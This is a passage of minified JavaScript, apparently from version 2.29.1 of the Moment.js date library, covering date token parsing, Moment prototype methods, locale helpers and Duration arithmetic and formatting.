t.erasNarrowRegex(e)})),we(["N","NN","NNN","NNNN","NNNNN"],(function(e,t,n,s){var i=n._locale.erasParse(e,s,n._strict);i?m(n).era=i:m(n).invalidEra=e})),fe("y",ue),fe("yy",ue),fe("yyy",ue),fe("yyyy",ue),fe("yo",(function(e,t){return t._eraYearOrdinalRegex||ue})),we(["y","yy","yyy","yyyy"],0),we(["yo"],(function(e,t,n,s){var i;n._locale._eraYearOrdinalRegex&&(i=e.match(n._locale._eraYearOrdinalRegex)),n._locale.eraYearOrdinalParse?t[0]=n._locale.eraYearOrdinalParse(e,i):t[0]=parseInt(e,10)})),U(0,["gg",2],0,(function(){return this.weekYear()%100})),U(0,["GG",2],0,(function(){return this.isoWeekYear()%100})),on("gggg","weekYear"),on("ggggg","weekYear"),on("GGGG","isoWeekYear"),on("GGGGG","isoWeekYear"),V("weekYear","gg"),V("isoWeekYear","GG"),j("weekYear",1),j("isoWeekYear",1),fe("G",le),fe("g",le),fe("GG",ne,X),fe("gg",ne,X),fe("GGGG",ae,ee),fe("gggg",ae,ee),fe("GGGGG",oe,te),fe("ggggg",oe,te),pe(["gggg","ggggg","GGGG","GGGGG"],(function(e,t,n,s){t[s.substr(0,2)]=z(e)})),pe(["gg","GG"],(function(e,t,n,i){t[i]=s.parseTwoDigitYear(e)})),U("Q",0,"Qo","quarter"),V("quarter","Q"),j("quarter",7),fe("Q",Q),we("Q",(function(e,t){t[1]=3*(z(e)-1)})),U("D",["DD",2],"Do","date"),V("date","D"),j("date",9),fe("D",ne),fe("DD",ne,X),fe("Do",(function(e,t){return e?t._dayOfMonthOrdinalParse||t._ordinalParse:t._dayOfMonthOrdinalParseLenient})),we(["D","DD"],2),we("Do",(function(e,t){t[2]=z(e.match(ne)[0])}));var hn=$("Date",!0);U("DDD",["DDDD",3],"DDDo","dayOfYear"),V("dayOfYear","DDD"),j("dayOfYear",4),fe("DDD",re),fe("DDDD",K),we(["DDD","DDDD"],(function(e,t,n){n._dayOfYear=z(e)})),U("m",["mm",2],0,"minute"),V("minute","m"),j("minute",14),fe("m",ne),fe("mm",ne,X),we(["m","mm"],4);var dn=$("Minutes",!1);U("s",["ss",2],0,"second"),V("second","s"),j("second",15),fe("s",ne),fe("ss",ne,X),we(["s","ss"],5);var cn,fn,mn=$("Seconds",!1);for(U("S",0,0,(function(){return~~(this.millisecond()/100)})),U(0,["SS",2],0,(function(){return~~(this.millisecond()/10)})),U(0,["SSS",3],0,"millisecond"),U(0,["SSSS",4],0,(function(){return 10*this.millisecond()})),U(0,["SSSSS",5],0,(function(){return 100*this.millisecond()})),U(0,["SSSSSS",6],0,(function(){return 1e3*this.millisecond()})),U(0,["SSSSSSS",7],0,(function(){return 1e4*this.millisecond()})),U(0,["SSSSSSSS",8],0,(function(){return 1e5*this.millisecond()})),U(0,["SSSSSSSSS",9],0,(function(){return 1e6*this.millisecond()})),V("millisecond","ms"),j("millisecond",16),fe("S",re,Q),fe("SS",re,X),fe("SSS",re,K),cn="SSSS";cn.length<=9;cn+="S")fe(cn,ue);function _n(e,t){t[6]=z(1e3*("0."+e))}for(cn="S";cn.length<=9;cn+="S")we(cn,_n);fn=$("Milliseconds",!1),U("z",0,0,"zoneAbbr"),U("zz",0,0,"zoneName");var yn=v.prototype;function gn(e){return e}yn.add=zt,yn.calendar=function(e,t){1===arguments.length&&(arguments[0]?qt(arguments[0])?(e=arguments[0],t=void 0):Bt(arguments[0])&&(t=arguments[0],e=void 0):(e=void 0,t=void 0));var n=e||Yt(),i=Ht(n,this).startOf("day"),r=s.calendarFormat(this,i)||"sameElse",a=t&&(b(t[r])?t[r].call(this,n):t[r]);return this.format(a||this.localeData().calendar(r,this,Yt(n)))},yn.clone=function(){return new v(this)},yn.diff=function(e,t,n){var s,i,r;if(!this.isValid())return NaN;if(!(s=Ht(e,this)).isValid())return NaN;switch(i=6e4*(s.utcOffset()-this.utcOffset()),t=E(t)){case"year":r=Qt(this,s)/12;break;case"month":r=Qt(this,s);break;case"quarter":r=Qt(this,s)/3;break;case"second":r=(this-s)/1e3;break;case"minute":r=(this-s)/6e4;break;case"hour":r=(this-s)/36e5;break;case"day":r=(this-s-i)/864e5;break;case"week":r=(this-s-i)/6048e5;break;default:r=this-s}return n?r:Z(r)},yn.endOf=function(e){var t,n;if(void 0===(e=E(e))||"millisecond"===e||!this.isValid())return this;switch(n=this._isUTC?sn:nn,e){case"year":t=n(this.year()+1,0,1)-1;break;case"quarter":t=n(this.year(),this.month()-this.month()%3+3,1)-1;break;case"month":t=n(this.year(),this.month()+1,1)-1;break;case"week":t=n(this.year(),this.month(),this.date()-this.weekday()+7)-1;break;case"isoWeek":t=n(this.year(),this.month(),this.date()-(this.isoWeekday()-1)+7)-1;break;case"day":case"date":t=n(this.year(),this.month(),this.date()+1)-1;break;case"hour":t=this._d.valueOf(),t+=36e5-tn(t+(this._isUTC?0:6e4*this.utcOffset()),36e5)-1;break;case"minute":t=this._d.valueOf(),t+=6e4-tn(t,6e4)-1;break;case"second":t=this._d.valueOf(),t+=1e3-tn(t,1e3)-1}return this._d.setTime(t),s.updateOffset(this,!0),this},yn.format=function(e){e||(e=this.isUtc()?s.defaultFormatUtc:s.defaultFormat);var t=H(this,e);return this.localeData().postformat(t)},yn.from=function(e,t){return this.isValid()&&(k(e)&&e.isValid()||Yt(e).isValid())?Gt({to:this,from:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},yn.fromNow=function(e){return this.from(Yt(),e)},yn.to=function(e,t){return this.isValid()&&(k(e)&&e.isValid()||Yt(e).isValid())?Gt({from:this,to:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},yn.toNow=function(e){return this.to(Yt(),e)},yn.get=function(e){return b(this[e=E(e)])?this[e]():this},yn.invalidAt=function(){return m(this).overflow},yn.isAfter=function(e,t){var n=k(e)?e:Yt(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=E(t)||"millisecond")?this.valueOf()>n.valueOf():n.valueOf()<this.clone().startOf(t).valueOf())},yn.isBefore=function(e,t){var n=k(e)?e:Yt(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=E(t)||"millisecond")?this.valueOf()<n.valueOf():this.clone().endOf(t).valueOf()<n.valueOf())},yn.isBetween=function(e,t,n,s){var i=k(e)?e:Yt(e),r=k(t)?t:Yt(t);return!!(this.isValid()&&i.isValid()&&r.isValid())&&(("("===(s=s||"()")[0]?this.isAfter(i,n):!this.isBefore(i,n))&&(")"===s[1]?this.isBefore(r,n):!this.isAfter(r,n)))},yn.isSame=function(e,t){var n,s=k(e)?e:Yt(e);return!(!this.isValid()||!s.isValid())&&("millisecond"===(t=E(t)||"millisecond")?this.valueOf()===s.valueOf():(n=s.valueOf(),this.clone().startOf(t).valueOf()<=n&&n<=this.clone().endOf(t).valueOf()))},yn.isSameOrAfter=function(e,t){return this.isSame(e,t)||this.isAfter(e,t)},yn.isSameOrBefore=function(e,t){return this.isSame(e,t)||this.isBefore(e,t)},yn.isValid=function(){return _(this)},yn.lang=Kt,yn.locale=Xt,yn.localeData=en,yn.max=bt,yn.min=Ot,yn.parsingFlags=function(){return c({},m(this))},yn.set=function(e,t){if("object"==typeof e){var n,s=function(e){var t,n=[];for(t in e)a(e,t)&&n.push({unit:t,priority:A[t]});return n.sort((function(e,t){return e.priority-t.priority})),n}(e=G(e));for(n=0;n<s.length;n++)this[s[n].unit](e[s[n].unit])}else if(b(this[e=E(e)]))return this[e](t);return this},yn.startOf=function(e){var t,n;if(void 0===(e=E(e))||"millisecond"===e||!this.isValid())return this;switch(n=this._isUTC?sn:nn,e){case"year":t=n(this.year(),0,1);break;case"quarter":t=n(this.year(),this.month()-this.month()%3,1);break;case"month":t=n(this.year(),this.month(),1);break;case"week":t=n(this.year(),this.month(),this.date()-this.weekday());break;case"isoWeek":t=n(this.year(),this.month(),this.date()-(this.isoWeekday()-1));break;case"day":case"date":t=n(this.year(),this.month(),this.date());break;case"hour":t=this._d.valueOf(),t-=tn(t+(this._isUTC?0:6e4*this.utcOffset()),36e5);break;case"minute":t=this._d.valueOf(),t-=tn(t,6e4);break;case"second":t=this._d.valueOf(),t-=tn(t,1e3)}return this._d.setTime(t),s.updateOffset(this,!0),this},yn.subtract=$t,yn.toArray=function(){var e=this;return[e.year(),e.month(),e.date(),e.hour(),e.minute(),e.second(),e.millisecond()]},yn.toObject=function(){var e=this;return{years:e.year(),months:e.month(),date:e.date(),hours:e.hours(),minutes:e.minutes(),seconds:e.seconds(),milliseconds:e.milliseconds()}},yn.toDate=function(){return new Date(this.valueOf())},yn.toISOString=function(e){if(!this.isValid())return null;var t=!0!==e,n=t?this.clone().utc():this;return n.year()<0||n.year()>9999?H(n,t?"YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYYYY-MM-DD[T]HH:mm:ss.SSSZ"):b(Date.prototype.toISOString)?t?this.toDate().toISOString():new Date(this.valueOf()+60*this.utcOffset()*1e3).toISOString().replace("Z",H(n,"Z")):H(n,t?"YYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYY-MM-DD[T]HH:mm:ss.SSSZ")},yn.inspect=function(){if(!this.isValid())return"moment.invalid(/* "+this._i+" */)";var e,t,n,s="moment",i="";return this.isLocal()||(s=0===this.utcOffset()?"moment.utc":"moment.parseZone",i="Z"),e="["+s+'("]',t=0<=this.year()&&this.year()<=9999?"YYYY":"YYYYYY",n=i+'[")]',this.format(e+t+"-MM-DD[T]HH:mm:ss.SSS"+n)},"undefined"!=typeof Symbol&&null!=Symbol.for&&(yn[Symbol.for("nodejs.util.inspect.custom")]=function(){return"Moment<"+this.format()+">"}),yn.toJSON=function(){return this.isValid()?this.toISOString():null},yn.toString=function(){return this.clone().locale("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ")},yn.unix=function(){return Math.floor(this.valueOf()/1e3)},yn.valueOf=function(){return this._d.valueOf()-6e4*(this._offset||0)},yn.creationData=function(){return{input:this._i,format:this._f,locale:this._locale,isUTC:this._isUTC,strict:this._strict}},yn.eraName=function(){var e,t,n,s=this.localeData().eras();for(e=0,t=s.length;e<t;++e){if(n=this.clone().startOf("day").valueOf(),s[e].since<=n&&n<=s[e].until)return s[e].name;if(s[e].until<=n&&n<=s[e].since)return s[e].name}return""},yn.eraNarrow=function(){var e,t,n,s=this.localeData().eras();for(e=0,t=s.length;e<t;++e){if(n=this.clone().startOf("day").valueOf(),s[e].since<=n&&n<=s[e].until)return s[e].narrow;if(s[e].until<=n&&n<=s[e].since)return s[e].narrow}return""},yn.eraAbbr=function(){var e,t,n,s=this.localeData().eras();for(e=0,t=s.length;e<t;++e){if(n=this.clone().startOf("day").valueOf(),s[e].since<=n&&n<=s[e].until)return s[e].abbr;if(s[e].until<=n&&n<=s[e].since)return s[e].abbr}return""},yn.eraYear=function(){var e,t,n,i,r=this.localeData().eras();for(e=0,t=r.length;e<t;++e)if(n=r[e].since<=r[e].until?1:-1,i=this.clone().startOf("day").valueOf(),r[e].since<=i&&i<=r[e].until||r[e].until<=i&&i<=r[e].since)return(this.year()-s(r[e].since).year())*n+r[e].offset;return this.year()},yn.year=Re,yn.isLeapYear=function(){return I(this.year())},yn.weekYear=function(e){return un.call(this,e,this.week(),this.weekday(),this.localeData()._week.dow,this.localeData()._week.doy)},yn.isoWeekYear=function(e){return un.call(this,e,this.isoWeek(),this.isoWeekday(),1,4)},yn.quarter=yn.quarters=function(e){return null==e?Math.ceil((this.month()+1)/3):this.month(3*(e-1)+this.month()%3)},yn.month=xe,yn.daysInMonth=function(){return ke(this.year(),this.month())},yn.week=yn.weeks=function(e){var t=this.localeData().week(this);return null==e?t:this.add(7*(e-t),"d")},yn.isoWeek=yn.isoWeeks=function(e){var t=Fe(this,1,4).week;return null==e?t:this.add(7*(e-t),"d")},yn.weeksInYear=function(){var e=this.localeData()._week;return Le(this.year(),e.dow,e.doy)},yn.weeksInWeekYear=function(){var e=this.localeData()._week;return Le(this.weekYear(),e.dow,e.doy)},yn.isoWeeksInYear=function(){return Le(this.year(),1,4)},yn.isoWeeksInISOWeekYear=function(){return Le(this.isoWeekYear(),1,4)},yn.date=hn,yn.day=yn.days=function(e){if(!this.isValid())return null!=e?this:NaN;var t=this._isUTC?this._d.getUTCDay():this._d.getDay();return null!=e?(e=function(e,t){return"string"!=typeof e?e:isNaN(e)?"number"==typeof(e=t.weekdaysParse(e))?e:null:parseInt(e,10)}(e,this.localeData()),this.add(e-t,"d")):t},yn.weekday=function(e){if(!this.isValid())return null!=e?this:NaN;var t=(this.day()+7-this.localeData()._week.dow)%7;return null==e?t:this.add(e-t,"d")},yn.isoWeekday=function(e){if(!this.isValid())return null!=e?this:NaN;if(null!=e){var t=function(e,t){return"string"==typeof e?t.weekdaysParse(e)%7||7:isNaN(e)?null:e}(e,this.localeData());return this.day(this.day()%7?t:t-7)}return this.day()||7},yn.dayOfYear=function(e){var t=Math.round((this.clone().startOf("day")-this.clone().startOf("year"))/864e5)+1;return null==e?t:this.add(e-t,"d")},yn.hour=yn.hours=Xe,yn.minute=yn.minutes=dn,yn.second=yn.seconds=mn,yn.millisecond=yn.milliseconds=fn,yn.utcOffset=function(e,t,n){var i,r=this._offset||0;if(!this.isValid())return null!=e?this:NaN;if(null!=e){if("string"==typeof e){if(null===(e=Ut(de,e)))return this}else Math.abs(e)<16&&!n&&(e*=60);return!this._isUTC&&t&&(i=Ft(this)),this._offset=e,this._isUTC=!0,null!=i&&this.add(i,"m"),r!==e&&(!t||this._changeInProgress?Zt(this,Gt(e-r,"m"),1,!1):this._changeInProgress||(this._changeInProgress=!0,s.updateOffset(this,!0),this._changeInProgress=null)),this}return this._isUTC?r:Ft(this)},yn.utc=function(e){return this.utcOffset(0,e)},yn.local=function(e){return this._isUTC&&(this.utcOffset(0,e),this._isUTC=!1,e&&this.subtract(Ft(this),"m")),this},yn.parseZone=function(){if(null!=this._tzm)this.utcOffset(this._tzm,!1,!0);else if("string"==typeof this._i){var e=Ut(he,this._i);null!=e?this.utcOffset(e):this.utcOffset(0,!0)}return this},yn.hasAlignedHourOffset=function(e){return!!this.isValid()&&(e=e?Yt(e).utcOffset():0,(this.utcOffset()-e)%60==0)},yn.isDST=function(){return this.utcOffset()>this.clone().month(0).utcOffset()||this.utcOffset()>this.clone().month(5).utcOffset()},yn.isLocal=function(){return!!this.isValid()&&!this._isUTC},yn.isUtcOffset=function(){return!!this.isValid()&&this._isUTC},yn.isUtc=Lt,yn.isUTC=Lt,yn.zoneAbbr=function(){return this._isUTC?"UTC":""},yn.zoneName=function(){return this._isUTC?"Coordinated Universal Time":""},yn.dates=D("dates accessor is deprecated. Use date instead.",hn),yn.months=D("months accessor is deprecated. Use month instead",xe),yn.years=D("years accessor is deprecated. Use year instead",Re),yn.zone=D("moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/",(function(e,t){return null!=e?("string"!=typeof e&&(e=-e),this.utcOffset(e,t),this):-this.utcOffset()})),yn.isDSTShifted=D("isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information",(function(){if(!u(this._isDSTShifted))return this._isDSTShifted;var e,t={};return p(t,this),(t=Dt(t))._a?(e=t._isUTC?f(t._a):Yt(t._a),this._isDSTShifted=this.isValid()&&function(e,t,n){var s,i=Math.min(e.length,t.length),r=Math.abs(e.length-t.length),a=0;for(s=0;s<i;s++)(n&&e[s]!==t[s]||!n&&z(e[s])!==z(t[s]))&&a++;return a+r}(t._a,e.toArray())>0):this._isDSTShifted=!1,this._isDSTShifted}));var wn=x.prototype;function pn(e,t,n,s){var i=ot(),r=f().set(s,t);return i[n](r,e)}function vn(e,t,n){if(l(e)&&(t=e,e=void 0),e=e||"",null!=t)return pn(e,t,n,"month");var s,i=[];for(s=0;s<12;s++)i[s]=pn(e,s,n,"month");return i}function kn(e,t,n,s){"boolean"==typeof e?(l(t)&&(n=t,t=void 0),t=t||""):(n=t=e,e=!1,l(t)&&(n=t,t=void 0),t=t||"");var i,r=ot(),a=e?r._week.dow:0,o=[];if(null!=n)return pn(t,(n+a)%7,s,"day");for(i=0;i<7;i++)o[i]=pn(t,(i+a)%7,s,"day");return o}wn.calendar=function(e,t,n){var s=this._calendar[e]||this._calendar.sameElse;return b(s)?s.call(t,n):s},wn.longDateFormat=function(e){var t=this._longDateFormat[e],n=this._longDateFormat[e.toUpperCase()];return t||!n?t:(this._longDateFormat[e]=n.match(P).map((function(e){return"MMMM"===e||"MM"===e||"DD"===e||"dddd"===e?e.slice(1):e})).join(""),this._longDateFormat[e])},wn.invalidDate=function(){return this._invalidDate},wn.ordinal=function(e){return this._ordinal.replace("%d",e)},wn.preparse=gn,wn.postformat=gn,wn.relativeTime=function(e,t,n,s){var i=this._relativeTime[n];return b(i)?i(e,t,n,s):i.replace(/%d/i,e)},wn.pastFuture=function(e,t){var n=this._relativeTime[e>0?"future":"past"];return b(n)?n(t):n.replace(/%s/i,t)},wn.set=function(e){var t,n;for(n in e)a(e,n)&&(b(t=e[n])?this[n]=t:this["_"+n]=t);this._config=e,this._dayOfMonthOrdinalParseLenient=new RegExp((this._dayOfMonthOrdinalParse.source||this._ordinalParse.source)+"|"+/\d{1,2}/.source)},wn.eras=function(e,t){var n,i,r,a=this._eras||ot("en")._eras;for(n=0,i=a.length;n<i;++n){switch(typeof a[n].since){case"string":r=s(a[n].since).startOf("day"),a[n].since=r.valueOf()}switch(typeof a[n].until){case"undefined":a[n].until=1/0;break;case"string":r=s(a[n].until).startOf("day").valueOf(),a[n].until=r.valueOf()}}return a},wn.erasParse=function(e,t,n){var s,i,r,a,o,u=this.eras();for(e=e.toUpperCase(),s=0,i=u.length;s<i;++s)if(r=u[s].name.toUpperCase(),a=u[s].abbr.toUpperCase(),o=u[s].narrow.toUpperCase(),n)switch(t){case"N":case"NN":case"NNN":if(a===e)return u[s];break;case"NNNN":if(r===e)return u[s];break;case"NNNNN":if(o===e)return u[s]}else if([r,a,o].indexOf(e)>=0)return u[s]},wn.erasConvertYear=function(e,t){var n=e.since<=e.until?1:-1;return void 0===t?s(e.since).year():s(e.since).year()+(t-e.offset)*n},wn.erasAbbrRegex=function(e){return a(this,"_erasAbbrRegex")||an.call(this),e?this._erasAbbrRegex:this._erasRegex},wn.erasNameRegex=function(e){return a(this,"_erasNameRegex")||an.call(this),e?this._erasNameRegex:this._erasRegex},wn.erasNarrowRegex=function(e){return a(this,"_erasNarrowRegex")||an.call(this),e?this._erasNarrowRegex:this._erasRegex},wn.months=function(e,t){return e?i(this._months)?this._months[e.month()]:this._months[(this._months.isFormat||Se).test(t)?"format":"standalone"][e.month()]:i(this._months)?this._months:this._months.standalone},wn.monthsShort=function(e,t){return e?i(this._monthsShort)?this._monthsShort[e.month()]:this._monthsShort[Se.test(t)?"format":"standalone"][e.month()]:i(this._monthsShort)?this._monthsShort:this._monthsShort.standalone},wn.monthsParse=function(e,t,n){var s,i,r;if(this._monthsParseExact)return be.call(this,e,t,n);for(this._monthsParse||(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[]),s=0;s<12;s++){if(i=f([2e3,s]),n&&!this._longMonthsParse[s]&&(this._longMonthsParse[s]=new RegExp("^"+this.months(i,"").replace(".","")+"$","i"),this._shortMonthsParse[s]=new RegExp("^"+this.monthsShort(i,"").replace(".","")+"$","i")),n||this._monthsParse[s]||(r="^"+this.months(i,"")+"|^"+this.monthsShort(i,""),this._monthsParse[s]=new RegExp(r.replace(".",""),"i")),n&&"MMMM"===t&&this._longMonthsParse[s].test(e))return s;if(n&&"MMM"===t&&this._shortMonthsParse[s].test(e))return s;if(!n&&this._monthsParse[s].test(e))return s}},wn.monthsRegex=function(e){return this._monthsParseExact?(a(this,"_monthsRegex")||Ne.call(this),e?this._monthsStrictRegex:this._monthsRegex):(a(this,"_monthsRegex")||(this._monthsRegex=Oe),this._monthsStrictRegex&&e?this._monthsStrictRegex:this._monthsRegex)},wn.monthsShortRegex=function(e){return this._monthsParseExact?(a(this,"_monthsRegex")||Ne.call(this),e?this._monthsShortStrictRegex:this._monthsShortRegex):(a(this,"_monthsShortRegex")||(this._monthsShortRegex=Ye),this._monthsShortStrictRegex&&e?this._monthsShortStrictRegex:this._monthsShortRegex)},wn.week=function(e){return Fe(e,this._week.dow,this._week.doy).week},wn.firstDayOfYear=function(){return this._week.doy},wn.firstDayOfWeek=function(){return this._week.dow},wn.weekdays=function(e,t){var n=i(this._weekdays)?this._weekdays:this._weekdays[e&&!0!==e&&this._weekdays.isFormat.test(t)?"format":"standalone"];return!0===e?Ve(n,this._week.dow):e?n[e.day()]:n},wn.weekdaysMin=function(e){return!0===e?Ve(this._weekdaysMin,this._week.dow):e?this._weekdaysMin[e.day()]:this._weekdaysMin},wn.weekdaysShort=function(e){return!0===e?Ve(this._weekdaysShort,this._week.dow):e?this._weekdaysShort[e.day()]:this._weekdaysShort},wn.weekdaysParse=function(e,t,n){var s,i,r;if(this._weekdaysParseExact)return ze.call(this,e,t,n);for(this._weekdaysParse||(this._weekdaysParse=[],this._minWeekdaysParse=[],this._shortWeekdaysParse=[],this._fullWeekdaysParse=[]),s=0;s<7;s++){if(i=f([2e3,1]).day(s),n&&!this._fullWeekdaysParse[s]&&(this._fullWeekdaysParse[s]=new RegExp("^"+this.weekdays(i,"").replace(".","\\.?")+"$","i"),this._shortWeekdaysParse[s]=new RegExp("^"+this.weekdaysShort(i,"").replace(".","\\.?")+"$","i"),this._minWeekdaysParse[s]=new RegExp("^"+this.weekdaysMin(i,"").replace(".","\\.?")+"$","i")),this._weekdaysParse[s]||(r="^"+this.weekdays(i,"")+"|^"+this.weekdaysShort(i,"")+"|^"+this.weekdaysMin(i,""),this._weekdaysParse[s]=new RegExp(r.replace(".",""),"i")),n&&"dddd"===t&&this._fullWeekdaysParse[s].test(e))return s;if(n&&"ddd"===t&&this._shortWeekdaysParse[s].test(e))return s;if(n&&"dd"===t&&this._minWeekdaysParse[s].test(e))return s;if(!n&&this._weekdaysParse[s].test(e))return s}},wn.weekdaysRegex=function(e){return this._weekdaysParseExact?(a(this,"_weekdaysRegex")||$e.call(this),e?this._weekdaysStrictRegex:this._weekdaysRegex):(a(this,"_weekdaysRegex")||(this._weekdaysRegex=je),this._weekdaysStrictRegex&&e?this._weekdaysStrictRegex:this._weekdaysRegex)},wn.weekdaysShortRegex=function(e){return this._weekdaysParseExact?(a(this,"_weekdaysRegex")||$e.call(this),e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex):(a(this,"_weekdaysShortRegex")||(this._weekdaysShortRegex=Ie),this._weekdaysShortStrictRegex&&e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex)},wn.weekdaysMinRegex=function(e){return this._weekdaysParseExact?(a(this,"_weekdaysRegex")||$e.call(this),e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex):(a(this,"_weekdaysMinRegex")||(this._weekdaysMinRegex=Ze),this._weekdaysMinStrictRegex&&e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex)},wn.isPM=function(e){return"p"===(e+"").toLowerCase().charAt(0)},wn.meridiem=function(e,t,n){return e>11?n?"pm":"PM":n?"am":"AM"},rt("en",{eras:[{since:"0001-01-01",until:1/0,offset:1,name:"Anno Domini",narrow:"AD",abbr:"AD"},{since:"0000-12-31",until:-1/0,offset:1,name:"Before Christ",narrow:"BC",abbr:"BC"}],dayOfMonthOrdinalParse:/\d{1,2}(th|st|nd|rd)/,ordinal:function(e){var t=e%10;return e+(1===z(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}}),s.lang=D("moment.lang is deprecated. Use moment.locale instead.",rt),s.langData=D("moment.langData is deprecated. Use moment.localeData instead.",ot);var Mn=Math.abs;function Dn(e,t,n,s){var i=Gt(t,n);return e._milliseconds+=s*i._milliseconds,e._days+=s*i._days,e._months+=s*i._months,e._bubble()}function Sn(e){return e<0?Math.floor(e):Math.ceil(e)}function Yn(e){return 4800*e/146097}function On(e){return 146097*e/4800}function bn(e){return function(){return this.as(e)}}var Tn=bn("ms"),xn=bn("s"),Nn=bn("m"),Pn=bn("h"),Rn=bn("d"),Wn=bn("w"),Cn=bn("M"),Un=bn("Q"),Hn=bn("y");function Fn(e){return function(){return this.isValid()?this._data[e]:NaN}}var Ln=Fn("milliseconds"),Vn=Fn("seconds"),En=Fn("minutes"),Gn=Fn("hours"),An=Fn("days"),jn=Fn("months"),In=Fn("years"),Zn=Math.round,zn={ss:44,s:45,m:45,h:22,d:26,w:null,M:11};function $n(e,t,n,s,i){return i.relativeTime(t||1,!!n,e,s)}var Jn=Math.abs;function qn(e){return(e>0)-(e<0)||+e}function Bn(){if(!this.isValid())return this.localeData().invalidDate();var e,t,n,s,i,r,a,o,u=Jn(this._milliseconds)/1e3,l=Jn(this._days),h=Jn(this._months),d=this.asSeconds();return d?(e=Z(u/60),t=Z(e/60),u%=60,e%=60,n=Z(h/12),h%=12,s=u?u.toFixed(3).replace(/\.?0+$/,""):"",i=d<0?"-":"",r=qn(this._months)!==qn(d)?"-":"",a=qn(this._days)!==qn(d)?"-":"",o=qn(this._milliseconds)!==qn(d)?"-":"",i+"P"+(n?r+n+"Y":"")+(h?r+h+"M":"")+(l?a+l+"D":"")+(t||e||u?"T":"")+(t?o+t+"H":"")+(e?o+e+"M":"")+(u?o+s+"S":"")):"P0D"}var Qn=Nt.prototype;return Qn.isValid=function(){return this._isValid},Qn.abs=function(){var e=this._data;return this._milliseconds=Mn(this._milliseconds),this._days=Mn(this._days),this._months=Mn(this._months),e.milliseconds=Mn(e.milliseconds),e.seconds=Mn(e.seconds),e.minutes=Mn(e.minutes),e.hours=Mn(e.hours),e.months=Mn(e.months),e.years=Mn(e.years),this},Qn.add=function(e,t){return Dn(this,e,t,1)},Qn.subtract=function(e,t){return Dn(this,e,t,-1)},Qn.as=function(e){if(!this.isValid())return NaN;var t,n,s=this._milliseconds;if("month"===(e=E(e))||"quarter"===e||"year"===e)switch(t=this._days+s/864e5,n=this._months+Yn(t),e){case"month":return n;case"quarter":return n/3;case"year":return n/12}else switch(t=this._days+Math.round(On(this._months)),e){case"week":return t/7+s/6048e5;case"day":return t+s/864e5;case"hour":return 24*t+s/36e5;case"minute":return 1440*t+s/6e4;case"second":return 86400*t+s/1e3;case"millisecond":return Math.floor(864e5*t)+s;default:throw new Error("Unknown unit "+e)}},Qn.asMilliseconds=Tn,Qn.asSeconds=xn,Qn.asMinutes=Nn,Qn.asHours=Pn,Qn.asDays=Rn,Qn.asWeeks=Wn,Qn.asMonths=Cn,Qn.asQuarters=Un,Qn.asYears=Hn,Qn.valueOf=function(){return this.isValid()?this._milliseconds+864e5*this._days+this._months%12*2592e6+31536e6*z(this._months/12):NaN},Qn._bubble=function(){var e,t,n,s,i,r=this._milliseconds,a=this._days,o=this._months,u=this._data;return r>=0&&a>=0&&o>=0||r<=0&&a<=0&&o<=0||(r+=864e5*Sn(On(o)+a),a=0,o=0),u.milliseconds=r%1e3,e=Z(r/1e3),u.seconds=e%60,t=Z(e/60),u.minutes=t%60,n=Z(t/60),u.hours=n%24,a+=Z(n/24),i=Z(Yn(a)),o+=i,a-=Sn(On(i)),s=Z(o/12),o%=12,u.days=a,u.months=o,u.years=s,this},Qn.clone=function(){return Gt(this)},Qn.get=function(e){return e=E(e),this.isValid()?this[e+"s"]():NaN},Qn.milliseconds=Ln,Qn.seconds=Vn,Qn.minutes=En,Qn.hours=Gn,Qn.days=An,Qn.weeks=function(){return Z(this.days()/7)},Qn.months=jn,Qn.years=In,Qn.humanize=function(e,t){if(!this.isValid())return this.localeData().invalidDate();var n,s,i=!1,r=zn;return"object"==typeof e&&(t=e,e=!1),"boolean"==typeof e&&(i=e),"object"==typeof t&&(r=Object.assign({},zn,t),null!=t.s&&null==t.ss&&(r.ss=t.s-1)),n=this.localeData(),s=function(e,t,n,s){var i=Gt(e).abs(),r=Zn(i.as("s")),a=Zn(i.as("m")),o=Zn(i.as("h")),u=Zn(i.as("d")),l=Zn(i.as("M")),h=Zn(i.as("w")),d=Zn(i.as("y")),c=r<=n.ss&&["s",r]||r<n.s&&["ss",r]||a<=1&&["m"]||a<n.m&&["mm",a]||o<=1&&["h"]||o<n.h&&["hh",o]||u<=1&&["d"]||u<n.d&&["dd",u];return null!=n.w&&(c=c||h<=1&&["w"]||h<n.w&&["ww",h]),(c=c||l<=1&&["M"]||l<n.M&&["MM",l]||d<=1&&["y"]||["yy",d])[2]=t,c[3]=+e>0,c[4]=s,$n.apply(null,c)}(this,!i,r,n),i&&(s=n.pastFuture(+this,s)),n.postformat(s)},Qn.toISOString=Bn,Qn.toString=Bn,Qn.toJSON=Bn,Qn.locale=Xt,Qn.localeData=en,Qn.toIsoString=D("toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)",Bn),Qn.lang=Kt,U("X",0,0,"unix"),U("x",0,0,"valueOf"),fe("x",le),fe("X",/[+-]?\d+(\.\d{1,3})?/),we("X",(function(e,t,n){n._d=new Date(1e3*parseFloat(e))})),we("x",(function(e,t,n){n._d=new Date(z(e))})),s.version="2.29.1",t=Yt,s.fn=yn,s.min=function(){var e=[].slice.call(arguments,0);return Tt("isBefore",e)},s.max=function(){var e=[].slice.call(arguments,0);return Tt("isAfter",e)},s.now=function(){return Date.now?Date.now():+new Date},s.utc=f,s.unix=function(e){return Yt(1e3*e)},s.months=function(e,t){return vn(e,t,"months")},s.isDate=h,s.locale=rt,s.invalid=y,s.duration=Gt,s.isMoment=k,s.weekdays=function(e,t,n){return kn(e,t,n,"weekdays")},s.parseZone=function(){return Yt.apply(null,arguments).parseZone()},s.localeData=ot,s.isDuration=Pt,s.monthsShort=function(e,t){return 